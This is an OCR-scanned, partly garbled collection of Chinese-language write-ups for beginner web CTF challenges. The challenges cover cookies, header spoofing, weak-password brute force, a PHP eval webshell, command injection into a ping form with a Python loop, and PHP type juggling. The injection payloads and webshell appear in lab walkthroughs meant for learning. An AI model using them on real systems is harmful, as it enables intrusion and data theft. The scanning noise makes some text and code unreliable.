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FLAG is not here
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1

2| <html lang="en”>

3| <head>

4 {meta charset="UTF-8">

5 {title>Where is the FLAG</title>

6| </head>

7| <body>

8| <script>

9 | document. oncontextmenu=new Function( return false”)
10 | document. onselectstart=new Function(“return false”)
1| {/script>

12

13

14 | <h1>FLAG is not here</hl>

15

16

17 | <!— cyherpeace {7f26e057a08a433d0147937622d87676; —>
18

19 | </body>

20 | </html>
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<html>
<head>
<meta charset="UTF-8">
<title>&HXH</title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
<style>
body{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
</style>
</head>
<body>
<h3>{F#NiE1index. phpBISEH &G ? </h3>
<?php
$flag="Cyberpeace{855A1C4B3401294CB6604CCCI98BDE334}"
7>
</body>
</html>
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EATHburpskREF 1Z Mk cookiefE

fRaw rParams rHeaders rHex |

GET/HTTP/1.1

Host: 111.198.29.45:32975

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;0=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Cookie: look-here=cookie.php

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

RILE A cookite.php 3, ZiRITIF

See the http response

BAVITHIF k& T EEEhitp response

Status Code: W 200 0K
Remote Address: 111.198.29.45:32975

|_| cookie.php
.| bootstrap.min.css

Referrer Policy: no-referrer-when-downgrade

¥ Response Headers view source

Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 253

Content-Type: text/html

Date: Sat, 28 Sep 2019 ©2:19:54 GMT

flag: ¢ 5cdb98d2a1183f5evbb296efef794)

Keep-Alive: timeout=5, max=100
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<html=
<head=>[..]</head>
<body=>
<h3>— P EERIEE</h3>
<input class="btnbtn-default" disabled="" style="height:50px;width:200px;" value="flag"
name="auth" type="submit"> ~
</form=
</body=>
</html>
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<html>
<head>
<title=JS</title>
<script type="text/javascript">
function dechiffre(pass_enc){
var pass="70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab =pass_enc.split(',');
var tab2 =pass.split(','};vari,j,k,1=0,m,n,0,p="";1=0;] =tab.length;
k=j+(1)+(n=0);
n=tab2.length;
for{i=(o=08);i<(k=j=n); i++){o=tab[i-1];p+=String.fromCharCode({o=tab2[i])});
if(i==5)break;}
for{i=(o=B);i<(k=j=n); i++){
o=tab[i-1];
if(i>588i<k-1)
p+=5tring. fromCharCode({o=tab2[1i])};

}
p+=5string.fromCharCode(tab2[171);
pass=p;return pass;

}

String["fromCharCode" ] (dechiffre( "\x35\x35\x2cx354x364x2c\ X35, %34\ X2\ x37\x394 X2 x3 1\ X31\x35\ X2 X364 X394 x 2\ x 31\ X314 X344\ x2c\ x3 1\ x3 14 X364 x2¢\ x3 1y x30\ X374 x2¢\,x34 x39\x2c\x354,x30") ) ;
—__---__;

h=window.prompt('Enter password'};
alert(dechiffre(h) );

</script>
</head>

</html>

TARE Z M. BT REMERSERER:

&3

\X35\%35%2¢\x35\x36\x2c\X35\x34 X2 \X3 7\X39W%2¢\x3 1\x3 1\X35W2c\x36\x39\X2¢\x3 11x3 1\x34\x2¢\x3 1\x3 1\x36\x2c\X3 1\x30\X3 7\x2¢\
x34\X39\2c\X35\x30" 18 FIHE X # A %, K 745 B F B AURL G

4, %35%35%2¢%35%36%2¢%35%34%2¢%37%39%2¢%31%31%35%2¢%36%39%2¢%31%31%34%2¢%31%31%36%2c
%31%30%37 %2¢%34%39%2¢%35%30

Fburp f#1545: 55,56,54,79,115,69,114,116,107,49,50

55,56,54,79,115,69,114,116,107,49,50

FiX BB B ITASCIRE H #18: 7860sErtk12
R &~ flaghg 2 N Cyberpeace{xoooooot , 13 Cyberpeace{7860sErtk12}45 B IEFH & 5



J\. xff_referer

xff_referer B stEwriteupsriER - DenoziRf

eens : <S5

BEXR

2B At
FHH=: W@ http://111.198.29.45:56976

il F 17 =
ﬁﬂi+ﬂq‘:03:59:42 FERT |

Elif=| Bﬁﬁ; i https://blog.csdn.netiweixin_43

xff & X-Forwarded-ForfI {85, Fi SRR AE I HTTPAR B 5% 51 #3545 75 2E B BIWeb AR 55 8% 1925 7 i B R 46 B IP s bk R HT TP 3R
k=B,
referer 2 & VR IR 55 2% B2 MR 3 75 SR 1)

X8 R AR M web s — BIEAR —E, RA £ nsE 18 sodtireferer i {E B v]
Fburpf@rEan T .

ipth bR 4 123.123.123.123

thi&X-Forwarded-For=123.123.123.123

Name Value Add
GET /apifusersfunread message HTTP/1.1
Host adworld.xctf.org.cn Remove
User-Agent Mozilla/5.0 (X11; Linux x86_64; rv:60.0) G... Up
Accept application/json, text/plain, */*
Accept-Language zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;g=0.... Down
Accept-Encoding gzip, deflate
Refarer https:/fadworld.xctf.org.cnftask/answer?ty...
X-CSRF-Token IMM5SMDEkxOTNmMYmVjM2 ZIZT)mNTJkYmM...
Cockie session=dfeadcf3-9903-4bld-abdd-4c343...
Connection close
X-Forwarded-For 123.123.123.123)|

P

</head>
<body>

<pid="demo">iptiit #Fi$»123.123.123.123</p>



iscript>document.getElementByld("demo").innerH

"ML="170 ww.google.com";</script>
</body>

z/html>

Hi&referer:https://www.google.com

Name Value —A
GET [HTTP/1.1 —
Host 111.198.29.45:56976 Ren
User-Agent Mozilla/5.0 (X11; Linux x86_64,; rv:60.0) G... L
Accept text/html,application/xhtml+xml,applicati... | =——
Accept-Language zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.... D¢
Accept-Encoding gzip, deflate
Cookie look-here=cookie.php
Connection close
Upgrade-Insecure-R... |1
Cache-Control max-age=0
X-Forwarded-For 123.123.123.123
referer https:/fwww.google.com athuaivin A’ el

TML="#A¥Hhttps://www.google.com";</script>

<script>document.getElementByld("demo").innerH
TML="cyberpeace{79d57e470056812024b73b8a9%
c21743d}";</script>

</body>
</html>
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weak _auth B EWriteupp )\ APEIRIER (|
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BEEEF AL, HANEE, FRRZERIBAREE
RNBFESBE R GREMBOARE, BRI ERKE

Login

Fbrupf@a, WRIEFHRKENF, BATREREN . brupBsk misl £L B FWFERAENMZK, MEFHRAR. REBUREE
pythonBAIA SRR K15, 2 H & thbrup#f .

Request =~ Payload Status Error Timeout Length Comment
0 200 | [ 434
1 123456789 200 | | 434
2 al23456 200 [ 0l 434
3 123456 200 1 ] 437
4 al23456789 200 | | 434
5 1234567890 200 [ [ 434
6 woainil314 200 0l [ 434
7 qql23456 200 [ Ol 434
8 abcl23456 200 | | 434
9 123456a 200 | | 434
10 123456789%a 200 [ [ 434
11 147258369 200 [ 0l 434
12 zxcvbnm 200 | | 434
13 987654321 200 | [ 434
14 12345678910 200 | | 434

Request | Response |

(Raw |/Headers |/Hex rHTML |/Render |

<meta charset="UTF-8">
<title>weak auth</title>
</head>
<body>cyberpeace{b29a5bdec300cdfcd922a45e0bd57ah9}
<!--maybe you need a dictionary-->
</body>
</htm|>
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ebshell - S {EWriteupl iF 3K » DengZ}

eens : <S5



aig R EREEE FRIEEM{Eindex.phpE

B hitp://111.198.29.45:45692

kxRS

Elith : 03:59:24 | AT |

A E M . EX

https://blog.csdn.neth

{F&{EHwebshellfg ?

<?php @eval($_POST[shell]);?>

REBHEEERITNMM, o TXEERITARI] TR,

(D] :FhNSHELL y 092
ik |http://111.198. 28, 45:45692/ index. php [shell -09-2
AiE:

-09-2
=E:
EATEST ~ [ vy v [oB2312 ~| Em

—E&R S, A Elflag.tdt

S
=

\ var | flag txt 2019-09-28 07:57:48 44 0864

=] www

=) | index. php 2018-09-27 04:02:04 539 0664
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eyberpeace {TOS0LI46590cb£35248 ThaT£7540045}

+—. command_execution(fr 4 #.47)

command execution £ {EWriteupR pineppleig it

HERE :
HEER :

BEHA | 557 pin

BiHizs: W@ http://111.198.29.45:55999

ﬁﬂﬁﬂq‘:os:sgﬁo FIE Bt |

A BB - B
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ping iy 43 % S AFHE A A TE TR, URATAT BAFI127.0.0.0.1881s il

PING

& A ESping it bt

PING

ping -c¢ 3 127.0.0.1&&1s

--- 127.0.0.1 ping statistics ---

index.php

EHRR T PTpingfr 4, M HHATIsAr L
FIM A% Elflaghr B

import requests

url = "http://111.198.29.45:38835/"

list = ['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64’',

sh', 'sbin', ‘'srv', ‘'sys', "tmp', ‘'usr', ‘'var']
for i in list:
payload = {"target": "127.0.0.1 | 1s ../../../%s" % i}
res = requests.post(url, data=payload).text
if "flag" in res:
print("current: ", i)

break

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.068 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.048 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.051 ms

‘media’,

‘mnt’

)

‘opt',

3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.048/0.055/0.068/0.012 ms

'proc’,

‘root’,

‘run’,

‘run.



# Elflaghr B Ehome H F T

#EhomeHXTER, WiEMm4127.0.0.18&Is.../...[...1...[...]...]...lnome/

ping -¢ 3 127.0.0.1&&1s ../../../../../home/

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.037 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.031 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.039 ms

--- 127.0.0.1 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.031/0.035/0.039/0.007 ms

flag.txt

BeEflag.txt, 452 cat.../...[...[...I...I.../lnome/flag.ixt

ping -c¢ 3 127.0.0.1 && cat ../../../../home/Tlag.txt
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.062 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.049 ms
64 bytes from 127.0.0.1: icmp_seg=3 ttl=64 time=0.056 ms

--- 127.0.0.1 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 0.049/0.055/0.062/0.010 ms
cyberpeace{bb66cTaf6150a43ef7893%abb812ad6b}




+=. simple_php

Si m p | e_p h p EEWriteupAMOLLM Y2 {1 |
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il F 17 =
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HEME . EX hitps://blog.csdn.netiweixin_4346

FTIT P BE ST 40 T -

<?php
show source(_ FILE );
include("config.php");
$a=@$_GET['a'];
$b=@$ GET['b'];
if($a==0 and $a){
echo $flagl;
}
if(is numeric($b)){
exit();
}
if($b>1234)
echo $flag2;
}

7>
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W dr4: http:/111.198.29.45:44957/2a=00a&&b=12345s

&« > C B (® 111.198.29.45:44957/7a=00a&&b=12345s 90% see b g
£+ Most Visited @ Getting Started N, Kali Linux "% Kali Training ", Kali Tools & KaliDocs "% Kali Forums “§ Nei

<?php
show source(_ FILE );
include("config.php");
$a=@$_GET['a"];
$b=@$_GET['b'];
if(%$a==0 and $a){
echo $flagl;
}
if(is numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}

7>

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
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